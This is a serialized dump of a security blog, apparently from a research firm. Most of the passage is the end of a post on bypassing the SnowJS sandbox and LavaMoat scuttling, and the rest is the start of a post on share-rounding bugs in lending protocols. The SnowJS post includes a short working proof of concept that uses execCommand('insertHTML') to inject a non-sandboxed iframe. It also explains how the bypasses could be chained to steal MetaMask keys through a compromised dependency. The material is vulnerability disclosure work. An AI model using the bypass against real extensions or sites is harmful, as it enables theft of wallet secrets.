",{"type":26,"tag":163,"props":118570,"children":118573},{"href":118571,"rel":118572},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[167],[118574],{"type":32,"value":118575},"hooked inserters",{"type":32,"value":118577}," functions:",{"type":26,"tag":207,"props":118579,"children":118581},{"className":24581,"code":118580,"language":24580,"meta":8,"style":8},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[118582],{"type":26,"tag":83,"props":118583,"children":118584},{"__ignoreMap":8},[118585,118604,118625,118664,118718,118757,118856,118876,118897],{"type":26,"tag":217,"props":118586,"children":118587},{"class":7028,"line":7029},[118588,118592,118596,118600],{"type":26,"tag":217,"props":118589,"children":118590},{"style":7154},[118591],{"type":32,"value":74748},{"type":26,"tag":217,"props":118593,"children":118594},{"style":7054},[118595],{"type":32,"value":78179},{"type":26,"tag":217,"props":118597,"children":118598},{"style":7149},[118599],{"type":32,"value":8993},{"type":26,"tag":217,"props":118601,"children":118602},{"style":7048},[118603],{"type":32,"value":8064},{"type":26,"tag":217,"props":118605,"children":118606},{"class":7028,"line":6770},[118607,118612,118616,118621],{"type":26,"tag":217,"props":118608,"children":118609},{"style":7054},[118610],{"type":32,"value":118611},"    Range:",{"type":26,"tag":217,"props":118613,"children":118614},{"style":7048},[118615],{"type":32,"value":95870},{"type":26,"tag":217,"props":118617,"children":118618},{"style":7338},[118619],{"type":32,"value":118620},"'insertNode'",{"type":26,"tag":217,"props":118622,"children":118623},{"style":7048},[118624],{"type":32,"value":77742},{"type":26,"tag":217,"props":118626,"children":118627},{"class":7028,"line":6779},[118628,118633,118637,118642,118646,118651,118655,118660],{"type":26,"tag":217,"props":118629,"children":118630},{"style":7054},[118631],{"type":32,"value":118632},"    DocumentFragment:",{"type":26,"tag":217,"props":118634,"children":118635},{"style":7048},[118636],{"type":32,"value":95870},{"type":26,"tag":217,"props":118638,"children":118639},{"style":7338},[118640],{"type":32,"value":118641},"'replaceChildren'",{"type":26,"tag":217,"props":118643,"children":118644},{"style":7048},[118645],{"type":32,"value":7599},{"type":26,"tag":217,"props":118647,"children":118648},{"style":7338},[118649],{"type":32,"value":118650},"'append'",{"type":26,"tag":217,"props":118652,"children":118653},{"style":7048},[118654],{"type":32,"value":7599},{"type":26,"tag":217,"props":118656,"children":118657},{"style":7338},[118658],{"type":32,"value":118659},"'prepend'",{"type":26,"tag":217,"props":118661,"children":118662},{"style":7048},[118663],{"type":32,"value":77742},{"type":26,"tag":217,"props":118665,"children":118666},{"class":7028,"line":7140},[118667,118672,118676,118680,118684,118688,118692,118696,118700,118705,118709,118714],{"type":26,"tag":217,"props":118668,"children":118669},{"style":7054},[118670],{"type":32,"value":118671},"    Document:",{"type":26,"tag":217,"props":118673,"children":118674},{"style":7048},[118675],{"type":32,"value":95870},{"type":26,"tag":217,"props":118677,"children":118678},{"style":7338},[118679],{"type":32,"value":118641},{"type":26,"tag":217,"props":118681,"children":118682},{"style":7048},[118683],{"type":32,"value":7599},{"type":26,"tag":217,"props":118685,"children":118686},{"style":7338},[118687],{"type":32,"value":118650},{"type":26,"tag":217,"props":118689,"children":118690},{"style":7048},[118691],{"type":32,"value":7599},{"type":26,"tag":217,"props":118693,"children":118694},{"style":7338},[118695],{"type":32,"value":118659},{"type":26,"tag":217,"props":118697,"children":118698},{"style":7048},[118699],{"type":32,"value":7599},{"type":26,"tag":217,"props":118701,"children":118702},{"style":7338},[118703],{"type":32,"value":118704},"'write'",{"type":26,"tag":217,"props":118706,"children":118707},{"style":7048},[118708],{"type":32,"value":7599},{"type":26,"tag":217,"props":118710,"children":118711},{"style":7338},[118712],{"type":32,"value":118713},"'writeln'",{"type":26,"tag":217,"props":118715,"children":118716},{"style":7048},[118717],{"type":32,"value":77742},{"type":26,"tag":217,"props":118719,"children":118720},{"class":7028,"line":7165},[118721,118726,118730,118735,118739,118744,118748,118753],{"type":26,"tag":217,"props":118722,"children":118723},{"style":7054},[118724],{"type":32,"value":118725},"    Node:",{"type":26,"tag":217,"props":118727,"children":118728},{"style":7048},[118729],{"type":32,"value":95870},{"type":26,"tag":217,"props":118731,"children":118732},{"style":7338},[118733],{"type":32,"value":118734},"'appendChild'",{"type":26,"tag":217,"props":118736,"children":118737},{"style":7048},[118738],{"type":32,"value":7599},{"type":26,"tag":217,"props":118740,"children":118741},{"style":7338},[118742],{"type":32,"value":118743},"'insertBefore'",{"type":26,"tag":217,"props":118745,"children":118746},{"style":7048},[118747],{"type":32,"value":7599},{"type":26,"tag":217,"props":118749,"children":118750},{"style":7338},[118751],{"type":32,"value":118752},"'replaceChild'",{"type":26,"tag":217,"props":118754,"children":118755},{"style":7048},[118756],{"type":32,"value":77742},{"type":26,"tag":217,"props":118758,"children":118759},{"class":7028,"line":7178},[118760,118765,118769,118774,118778,118783,118787,118792,118796,118801,118805,118810,118814,118818,118822,118827,118831,118835,118839,118844,118848,118852],{"type":26,"tag":217,"props":118761,"children":118762},{"style":7054},[118763],{"type":32,"value":118764},"    Element:",{"type":26,"tag":217,"props":118766,"children":118767},{"style":7048},[118768],{"type":32,"value":95870},{"type":26,"tag":217,"props":118770,"children":118771},{"style":7338},[118772],{"type":32,"value":118773},"'innerHTML'",{"type":26,"tag":217,"props":118775,"children":118776},{"style":7048},[118777],{"type":32,"value":7599},{"type":26,"tag":217,"props":118779,"children":118780},{"style":7338},[118781],{"type":32,"value":118782},"'outerHTML'",{"type":26,"tag":217,"props":118784,"children":118785},{"style":7048},[118786],{"type":32,"value":7599},{"type":26,"tag":217,"props":118788,"children":118789},{"style":7338},[118790],{"type":32,"value":118791},"'insertAdjacentHTML'",{"type":26,"tag":217,"props":118793,"children":118794},{"style":7048},[118795],{"type":32,"value":7599},{"type":26,"tag":217,"props":118797,"children":118798},{"style":7338},[118799],{"type":32,"value":118800},"'replaceWith'",{"type":26,"tag":217,"props":118802,"children":118803},{"style":7048},[118804],{"type":32,"value":7599},{"type":26,"tag":217,"props":118806,"children":118807},{"style":7338},[118808],{"type":32,"value":118809},"'insertAdjacentElement'",{"type":26,"tag":217,"props":118811,"children":118812},{"style":7048},[118813],{"type":32,"value":7599},{"type":26,"tag":217,"props":118815,"children":118816},{"style":7338},[118817],{"type":32,"value":118650},{"type":26,"tag":217,"props":118819,"children":118820},{"style":7048},[118821],{"type":32,"value":7599},{"type":26,"tag":217,"props":118823,"children":118824},{"style":7338},[118825],{"type":32,"value":118826},"'before'",{"type":26,"tag":217,"props":118828,"children":118829},{"style":7048},[118830],{"type":32,"value":7599},{"type":26,"tag":217,"props":118832,"children":118833},{"style":7338},[118834],{"type":32,"value":118659},{"type":26,"tag":217,"props":118836,"children":118837},{"style":7048},[118838],{"type":32,"value":7599},{"type":26,"tag":217,"props":118840,"children":118841},{"style":7338},[118842],{"type":32,"value":118843},"'after'",{"type":26,"tag":217,"props":118845,"children":118846},{"style":7048},[118847],{"type":32,"value":7599},{"type":26,"tag":217,"props":118849,"children":118850},{"style":7338},[118851],{"type":32,"value":118641},{"type":26,"tag":217,"props":118853,"children":118854},{"style":7048},[118855],{"type":32,"value":77742},{"type":26,"tag":217,"props":118857,"children":118858},{"class":7028,"line":7389},[118859,118864,118868,118872],{"type":26,"tag":217,"props":118860,"children":118861},{"style":7054},[118862],{"type":32,"value":118863},"    ShadowRoot:",{"type":26,"tag":217,"props":118865,"children":118866},{"style":7048},[118867],{"type":32,"value":95870},{"type":26,"tag":217,"props":118869,"children":118870},{"style":7338},[118871],{"type":32,"value":118773},{"type":26,"tag":217,"props":118873,"children":118874},{"style":7048},[118875],{"type":32,"value":77742},{"type":26,"tag":217,"props":118877,"children":118878},{"class":7028,"line":7406},[118879,118884,118888,118893],{"type":26,"tag":217,"props":118880,"children":118881},{"style":7054},[118882],{"type":32,"value":118883},"    HTMLIFrameElement:",{"type":26,"tag":217,"props":118885,"children":118886},{"style":7048},[118887],{"type":32,"value":95870},{"type":26,"tag":217,"props":118889,"children":118890},{"style":7338},[118891],{"type":32,"value":118892},"'srcdoc'",{"type":26,"tag":217,"props":118894,"children":118895},{"style":7048},[118896],{"type":32,"value":77742},{"type":26,"tag":217,"props":118898,"children":118899},{"class":7028,"line":7439},[118900],{"type":26,"tag":217,"props":118901,"children":118902},{"style":7048},[118903],{"type":32,"value":12331},{"type":26,"tag":39,"props":118905,"children":118906},{},[118907],{"type":32,"value":118908},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":26,"tag":39,"props":118910,"children":118911},{},[118912],{"type":32,"value":118913},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":26,"tag":607,"props":118915,"children":118917},{"id":118916},"bypassing-snowjs",[118918],{"type":32,"value":118919},"Bypassing SnowJS",{"type":26,"tag":39,"props":118921,"children":118922},{},[118923,118925,118936,118938,118944],{"type":32,"value":118924},"The deprecated ",{"type":26,"tag":163,"props":118926,"children":118929},{"href":118927,"rel":118928},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[167],[118930],{"type":26,"tag":83,"props":118931,"children":118933},{"className":118932},[],[118934],{"type":32,"value":118935},"document.execCommand",{"type":32,"value":118937}," function is used to execute commands inside a ",{"type":26,"tag":83,"props":118939,"children":118941},{"className":118940},[],[118942],{"type":32,"value":118943},"contenteditable",{"type":32,"value":118945}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":26,"tag":207,"props":118947,"children":118949},{"className":7251,"code":118948,"language":7253,"meta":8,"style":8},"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[118950],{"type":26,"tag":83,"props":118951,"children":118952},{"__ignoreMap":8},[118953],{"type":26,"tag":217,"props":118954,"children":118955},{"class":7028,"line":7029},[118956,118960,118964,118968,118972,118977,118982,118987,118991,118995],{"type":26,"tag":217,"props":118957,"children":118958},{"style":7263},[118959],{"type":32,"value":7289},{"type":26,"tag":217,"props":118961,"children":118962},{"style":7154},[118963],{"type":32,"value":6986},{"type":26,"tag":217,"props":118965,"children":118966},{"style":7054},[118967],{"type":32,"value":7454},{"type":26,"tag":217,"props":118969,"children":118970},{"style":7048},[118971],{"type":32,"value":267},{"type":26,"tag":217,"props":118973,"children":118974},{"style":7338},[118975],{"type":32,"value":118976},"test",{"type":26,"tag":217,"props":118978,"children":118979},{"style":7054},[118980],{"type":32,"value":118981}," contenteditable",{"type":26,"tag":217,"props":118983,"children":118984},{"style":7054},[118985],{"type":32,"value":118986}," autofocus",{"type":26,"tag":217,"props":118988,"children":118989},{"style":7263},[118990],{"type":32,"value":7362},{"type":26,"tag":217,"props":118992,"children":118993},{"style":7154},[118994],{"type":32,"value":6986},{"type":26,"tag":217,"props":118996,"children":118997},{"style":7263},[118998],{"type":32,"value":7281},{"type":26,"tag":39,"props":119000,"children":119001},{},[119002,119004,119010,119012,119017],{"type":32,"value":119003},"After inserting this element to a page, it is possible to use ",{"type":26,"tag":83,"props":119005,"children":119007},{"className":119006},[],[119008],{"type":32,"value":119009},"insertHTML",{"type":32,"value":119011}," command of ",{"type":26,"tag":83,"props":119013,"children":119015},{"className":119014},[],[119016],{"type":32,"value":118935},{"type":32,"value":119018}," to add a non-sandboxed iframe.",{"type":26,"tag":207,"props":119020,"children":119022},{"className":24581,"code":119021,"language":24580,"meta":8,"style":8},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[119023],{"type":26,"tag":83,"props":119024,"children":119025},{"__ignoreMap":8},[119026],{"type":26,"tag":217,"props":119027,"children":119028},{"class":7028,"line":7029},[119029,119033,119037,119042,119046,119051,119055,119059,119063,119068],{"type":26,"tag":217,"props":119030,"children":119031},{"style":7054},[119032],{"type":32,"value":7929},{"type":26,"tag":217,"props":119034,"children":119035},{"style":7048},[119036],{"type":32,"value":180},{"type":26,"tag":217,"props":119038,"children":119039},{"style":7064},[119040],{"type":32,"value":119041},"execCommand",{"type":26,"tag":217,"props":119043,"children":119044},{"style":7048},[119045],{"type":32,"value":1851},{"type":26,"tag":217,"props":119047,"children":119048},{"style":7338},[119049],{"type":32,"value":119050},"'insertHTML'",{"type":26,"tag":217,"props":119052,"children":119053},{"style":7048},[119054],{"type":32,"value":7599},{"type":26,"tag":217,"props":119056,"children":119057},{"style":7154},[119058],{"type":32,"value":60208},{"type":26,"tag":217,"props":119060,"children":119061},{"style":7048},[119062],{"type":32,"value":7599},{"type":26,"tag":217,"props":119064,"children":119065},{"style":7338},[119066],{"type":32,"value":119067},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":26,"tag":217,"props":119069,"children":119070},{"style":7048},[119071],{"type":32,"value":7669},{"type":26,"tag":607,"props":119073,"children":119075},{"id":119074},"impact-on-lavamoat-scuttling",[119076],{"type":32,"value":119077},"Impact On Lavamoat Scuttling",{"type":26,"tag":39,"props":119079,"children":119080},{},[119081],{"type":32,"value":119082},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":26,"tag":39,"props":119084,"children":119085},{},[119086,119088,119093,119095,119100],{"type":32,"value":119087},"For the exploit, the only used functions are in ",{"type":26,"tag":83,"props":119089,"children":119091},{"className":119090},[],[119092],{"type":32,"value":7929},{"type":32,"value":119094}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":26,"tag":83,"props":119096,"children":119098},{"className":119097},[],[119099],{"type":32,"value":118441},{"type":32,"value":101562},{"type":26,"tag":39,"props":119102,"children":119103},{},[119104,119106,119111],{"type":32,"value":119105},"Consider this example, which runs a scuttled ",{"type":26,"tag":83,"props":119107,"children":119109},{"className":119108},[],[119110],{"type":32,"value":117151},{"type":32,"value":69134},{"type":26,"tag":207,"props":119113,"children":119115},{"className":24581,"code":119114,"language":24580,"meta":8,"style":8},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[119116],{"type":26,"tag":83,"props":119117,"children":119118},{"__ignoreMap":8},[119119,119156,119194,119237],{"type":26,"tag":217,"props":119120,"children":119121},{"class":7028,"line":7029},[119122,119126,119130,119134,119138,119143,119147,119152],{"type":26,"tag":217,"props":119123,"children":119124},{"style":7054},[119125],{"type":32,"value":7929},{"type":26,"tag":217,"props":119127,"children":119128},{"style":7048},[119129],{"type":32,"value":180},{"type":26,"tag":217,"props":119131,"children":119132},{"style":7054},[119133],{"type":32,"value":7399},{"type":26,"tag":217,"props":119135,"children":119136},{"style":7048},[119137],{"type":32,"value":180},{"type":26,"tag":217,"props":119139,"children":119140},{"style":7054},[119141],{"type":32,"value":119142},"innerHTML",{"type":26,"tag":217,"props":119144,"children":119145},{"style":7149},[119146],{"type":32,"value":8993},{"type":26,"tag":217,"props":119148,"children":119149},{"style":7338},[119150],{"type":32,"value":119151}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":26,"tag":217,"props":119153,"children":119154},{"style":7048},[119155],{"type":32,"value":7162},{"type":26,"tag":217,"props":119157,"children":119158},{"class":7028,"line":6770},[119159,119163,119167,119172,119176,119181,119185,119190],{"type":26,"tag":217,"props":119160,"children":119161},{"style":7054},[119162],{"type":32,"value":7929},{"type":26,"tag":217,"props":119164,"children":119165},{"style":7048},[119166],{"type":32,"value":180},{"type":26,"tag":217,"props":119168,"children":119169},{"style":7064},[119170],{"type":32,"value":119171},"getElementById",{"type":26,"tag":217,"props":119173,"children":119174},{"style":7048},[119175],{"type":32,"value":1851},{"type":26,"tag":217,"props":119177,"children":119178},{"style":7338},[119179],{"type":32,"value":119180},"'test'",{"type":26,"tag":217,"props":119182,"children":119183},{"style":7048},[119184],{"type":32,"value":8256},{"type":26,"tag":217,"props":119186,"children":119187},{"style":7064},[119188],{"type":32,"value":119189},"focus",{"type":26,"tag":217,"props":119191,"children":119192},{"style":7048},[119193],{"type":32,"value":8217},{"type":26,"tag":217,"props":119195,"children":119196},{"class":7028,"line":6779},[119197,119201,119205,119209,119213,119217,119221,119225,119229,119233],{"type":26,"tag":217,"props":119198,"children":119199},{"style":7054},[119200],{"type":32,"value":7929},{"type":26,"tag":217,"props":119202,"children":119203},{"style":7048},[119204],{"type":32,"value":180},{"type":26,"tag":217,"props":119206,"children":119207},{"style":7064},[119208],{"type":32,"value":119041},{"type":26,"tag":217,"props":119210,"children":119211},{"style":7048},[119212],{"type":32,"value":1851},{"type":26,"tag":217,"props":119214,"children":119215},{"style":7338},[119216],{"type":32,"value":119050},{"type":26,"tag":217,"props":119218,"children":119219},{"style":7048},[119220],{"type":32,"value":7599},{"type":26,"tag":217,"props":119222,"children":119223},{"style":7154},[119224],{"type":32,"value":60208},{"type":26,"tag":217,"props":119226,"children":119227},{"style":7048},[119228],{"type":32,"value":7599},{"type":26,"tag":217,"props":119230,"children":119231},{"style":7338},[119232],{"type":32,"value":119067},{"type":26,"tag":217,"props":119234,"children":119235},{"style":7048},[119236],{"type":32,"value":7669},{"type":26,"tag":217,"props":119238,"children":119239},{"class":7028,"line":7140},[119240,119244,119248,119253,119257,119262,119267,119271,119275,119280,119284,119288,119292,119296,119300,119304],{"type":26,"tag":217,"props":119241,"children":119242},{"style":7054},[119243],{"type":32,"value":7929},{"type":26,"tag":217,"props":119245,"children":119246},{"style":7048},[119247],{"type":32,"value":180},{"type":26,"tag":217,"props":119249,"children":119250},{"style":7064},[119251],{"type":32,"value":119252},"getElementsByTagName",{"type":26,"tag":217,"props":119254,"children":119255},{"style":7048},[119256],{"type":32,"value":1851},{"type":26,"tag":217,"props":119258,"children":119259},{"style":7338},[119260],{"type":32,"value":119261},"'iframe'",{"type":26,"tag":217,"props":119263,"children":119264},{"style":7048},[119265],{"type":32,"value":119266},")[",{"type":26,"tag":217,"props":119268,"children":119269},{"style":7130},[119270],{"type":32,"value":1883},{"type":26,"tag":217,"props":119272,"children":119273},{"style":7048},[119274],{"type":32,"value":68283},{"type":26,"tag":217,"props":119276,"children":119277},{"style":7054},[119278],{"type":32,"value":119279},"contentWindow",{"type":26,"tag":217,"props":119281,"children":119282},{"style":7048},[119283],{"type":32,"value":180},{"type":26,"tag":217,"props":119285,"children":119286},{"style":7064},[119287],{"type":32,"value":117151},{"type":26,"tag":217,"props":119289,"children":119290},{"style":7048},[119291],{"type":32,"value":1851},{"type":26,"tag":217,"props":119293,"children":119294},{"style":7054},[119295],{"type":32,"value":7929},{"type":26,"tag":217,"props":119297,"children":119298},{"style":7048},[119299],{"type":32,"value":180},{"type":26,"tag":217,"props":119301,"children":119302},{"style":7054},[119303],{"type":32,"value":117168},{"type":26,"tag":217,"props":119305,"children":119306},{"style":7048},[119307],{"type":32,"value":7669},{"type":26,"tag":607,"props":119309,"children":119311},{"id":119310},"snowjs-patch",[119312],{"type":32,"value":119313},"SnowJS Patch",{"type":26,"tag":39,"props":119315,"children":119316},{},[119317,119319,119326,119328,119335],{"type":32,"value":119318},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":26,"tag":163,"props":119320,"children":119323},{"href":119321,"rel":119322},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[167],[119324],{"type":32,"value":119325},"browser feature within W3C standards",{"type":32,"value":119327},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":26,"tag":163,"props":119329,"children":119332},{"href":119330,"rel":119331},"https://github.com/weizman/Realms-Initialization-Control",[167],[119333],{"type":32,"value":119334},"Here",{"type":32,"value":119336}," is their new proposal.",{"type":26,"tag":27,"props":119338,"children":119340},{"id":119339},"chaining-the-impacts",[119341],{"type":32,"value":119342},"Chaining The Impacts",{"type":26,"tag":39,"props":119344,"children":119345},{},[119346],{"type":32,"value":119347},"We were able to find two vulnerabilities in lavamoat project:",{"type":26,"tag":6712,"props":119349,"children":119350},{},[119351,119356],{"type":26,"tag":2044,"props":119352,"children":119353},{},[119354],{"type":32,"value":119355},"Policy File Bypass",{"type":26,"tag":2044,"props":119357,"children":119358},{},[119359],{"type":32,"value":119360},"Scuttling Bypass",{"type":26,"tag":39,"props":119362,"children":119363},{},[119364],{"type":32,"value":119365},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":26,"tag":39,"props":119367,"children":119368},{},[119369],{"type":32,"value":119370},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":26,"tag":27,"props":119372,"children":119373},{"id":9272},[119374],{"type":32,"value":9275},{"type":26,"tag":39,"props":119376,"children":119377},{},[119378],{"type":32,"value":119379},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":26,"tag":6986,"props":119381,"children":119382},{"style":6988},[119383],{"type":26,"tag":6468,"props":119384,"children":119388},{"src":119385,"alt":119386,"style":119387},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr","max-height:550px;",[],{"type":26,"tag":98804,"props":119390,"children":119392},{"className":119391,"dataFootnotes":8},[98807],[119393,119398],{"type":26,"tag":27,"props":119394,"children":119396},{"className":119395,"id":98393},[98812],[119397],{"type":32,"value":98815},{"type":26,"tag":6712,"props":119399,"children":119400},{},[119401],{"type":26,"tag":2044,"props":119402,"children":119403},{"id":98821},[119404,119406,119413,119414],{"type":32,"value":119405},"Excluding SES, which was covered ",{"type":26,"tag":163,"props":119407,"children":119410},{"href":119408,"rel":119409},"https://osec.io/blog/2023-11-01-metamask-snaps",[167],[119411],{"type":32,"value":119412},"in our last article",{"type":32,"value":19795},{"type":26,"tag":163,"props":119415,"children":119417},{"href":98837,"ariaLabel":98838,"className":119416,"dataFootnoteBackref":8},[98840],[119418],{"type":32,"value":98843},{"type":26,"tag":9282,"props":119420,"children":119421},{},[119422],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":119424},[119425,119429,119435,119441,119442,119443],{"id":115972,"depth":6770,"text":115975,"children":119426},[119427,119428],{"id":24419,"depth":6779,"text":24422},{"id":116052,"depth":6779,"text":116055},{"id":116814,"depth":6770,"text":116817,"children":119430},[119431,119432,119433,119434],{"id":117064,"depth":6779,"text":117067},{"id":117533,"depth":6779,"text":117536},{"id":118187,"depth":6779,"text":118190},{"id":118309,"depth":6779,"text":118312},{"id":118427,"depth":6770,"text":118430,"children":119436},[119437,119438,119439,119440],{"id":118555,"depth":6779,"text":118558},{"id":118916,"depth":6779,"text":118919},{"id":119074,"depth":6779,"text":119077},{"id":119310,"depth":6779,"text":119313},{"id":119339,"depth":6770,"text":119342},{"id":9272,"depth":6770,"text":9275},{"id":98393,"depth":6770,"text":98815},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":119448,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":119449,"description":119450,"author":119451,"image":119452,"date":119454,"isFeatured":17,"onBlogPage":17,"body":119455,"_type":6799,"_id":120598,"_source":6801,"_file":120599,"_stem":120600,"_extension":6804},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[96998],{"src":119453},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":23,"children":119456,"toc":120587},[119457,119461,119489,119494,119507,119512,119518,119523,119528,119533,119538,119551,119563,119583,119603,119608,119613,119631,119637,119642,119648,119662,119675,119680,119686,119700,119705,119726,119959,119964,119969,119982,120220,120230,120235,120241,120246,120251,120284,120289,120301,120307,120312,120326,120453,120467,120543,120548,120559,120564,120569,120573,120578,120583],{"type":26,"tag":27,"props":119458,"children":119459},{"id":24419},[119460],{"type":32,"value":24422},{"type":26,"tag":39,"props":119462,"children":119463},{},[119464,119466,119473,119474,119481,119483,119488],{"type":32,"value":119465},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":26,"tag":163,"props":119467,"children":119470},{"href":119468,"rel":119469},"https://neodyme.io/de/blog/lending_disclosure",[167],[119471],{"type":32,"value":119472},"fast",{"type":32,"value":7599},{"type":26,"tag":163,"props":119475,"children":119478},{"href":119476,"rel":119477},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[167],[119479],{"type":32,"value":119480},"cheap",{"type":32,"value":119482}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":26,"tag":65,"props":119484,"children":119485},{},[119486],{"type":32,"value":119487},"Most people haven't considered what happens when shares are worth a lot",{"type":32,"value":180},{"type":26,"tag":39,"props":119490,"children":119491},{},[119492],{"type":32,"value":119493},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":26,"tag":6712,"props":119495,"children":119496},{},[119497,119502],{"type":26,"tag":2044,"props":119498,"children":119499},{},[119500],{"type":32,"value":119501},"Inflate share value (token to share conversion rate)",{"type":26,"tag":2044,"props":119503,"children":119504},{},[119505],{"type":32,"value":119506},"Exploit rounding bug",{"type":26,"tag":39,"props":119508,"children":119509},{},[119510],{"type":32,"value":119511},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":26,"tag":27,"props":119513,"children":119515},{"id":119514},"model",[119516],{"type":32,"value":119517},"Model",{"type":26,"tag":39,"props":119519,"children":119520},{},[119521],{"type":32,"value":119522},"Before we dive in, there's some helpful background information we'll share first.",{"type":26,"tag":39,"props":119524,"children":119525},{},[119526],{"type":32,"value":119527},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":26,"tag":39,"props":119529,"children":119530},{},[119531],{"type":32,"value":119532},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":26,"tag":39,"props":119534,"children":119535},{},[119536],{"type":32,"value":119537},"This question is more complex than it may appear. Let's walk through an example.",{"type":26,"tag":39,"props":119539,"children":119540},{},[119541,119543,119549],{"type":32,"value":119542},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":26,"tag":83,"props":119544,"children":119546},{"className":119545},[],[119547],{"type":32,"value":119548},"1000:1000",{"type":32,"value":119550}," (1000 tokens to 1000 shares).",{"type":26,"tag":39,"props":119552,"children":119553},{},[119554,119556,119562],{"type":32,"value":119555},"After accruing fees, the pool gains one token for a new ratio of ",{"type":26,"tag":83,"props":119557,"children":119559},{"className":119558},[],[119560],{"type":32,"value":119561},"1001:1000",{"type":32,"value":180},{"type":26,"tag":39,"props":119564,"children":119565},{},[119566,119568,119574,119576,119581],{"type":32,"value":119567},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":26,"tag":83,"props":119569,"children":119571},{"className":119570},[],[119572],{"type":32,"value":119573},"1001/1000*999 = 999.999",{"type":32,"value":119575},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":26,"tag":65,"props":119577,"children":119578},{},[119579],{"type":32,"value":119580},"down",{"type":32,"value":119582}," against the user.",{"type":26,"tag":39,"props":119584,"children":119585},{},[119586,119588,119594,119596,119602],{"type":32,"value":119587},"If we give the user 999 tokens, the new pool state is ",{"type":26,"tag":83,"props":119589,"children":119591},{"className":119590},[],[119592],{"type":32,"value":119593},"2:1",{"type":32,"value":119595},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":26,"tag":83,"props":119597,"children":119599},{"className":119598},[],[119600],{"type":32,"value":119601},"3:1",{"type":32,"value":180},{"type":26,"tag":39,"props":119604,"children":119605},{},[119606],{"type":32,"value":119607},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":26,"tag":39,"props":119609,"children":119610},{},[119611],{"type":32,"value":119612},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":26,"tag":6712,"props":119614,"children":119615},{},[119616,119621,119626],{"type":26,"tag":2044,"props":119617,"children":119618},{},[119619],{"type":32,"value":119620},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":26,"tag":2044,"props":119622,"children":119623},{},[119624],{"type":32,"value":119625},"When you withdraw, are you withdrawing shares or tokens?",{"type":26,"tag":2044,"props":119627,"children":119628},{},[119629],{"type":32,"value":119630},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":26,"tag":27,"props":119632,"children":119634},{"id":119633},"decisions",[119635],{"type":32,"value":119636},"Decisions",{"type":26,"tag":39,"props":119638,"children":119639},{},[119640],{"type":32,"value":119641},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":26,"tag":607,"props":119643,"children":119645},{"id":119644},"radiant-capital",[119646],{"type":32,"value":119647},"Radiant Capital",{"type":26,"tag":39,"props":119649,"children":119650},{},[119651,119653,119660],{"type":32,"value":119652},"Radiant Capital 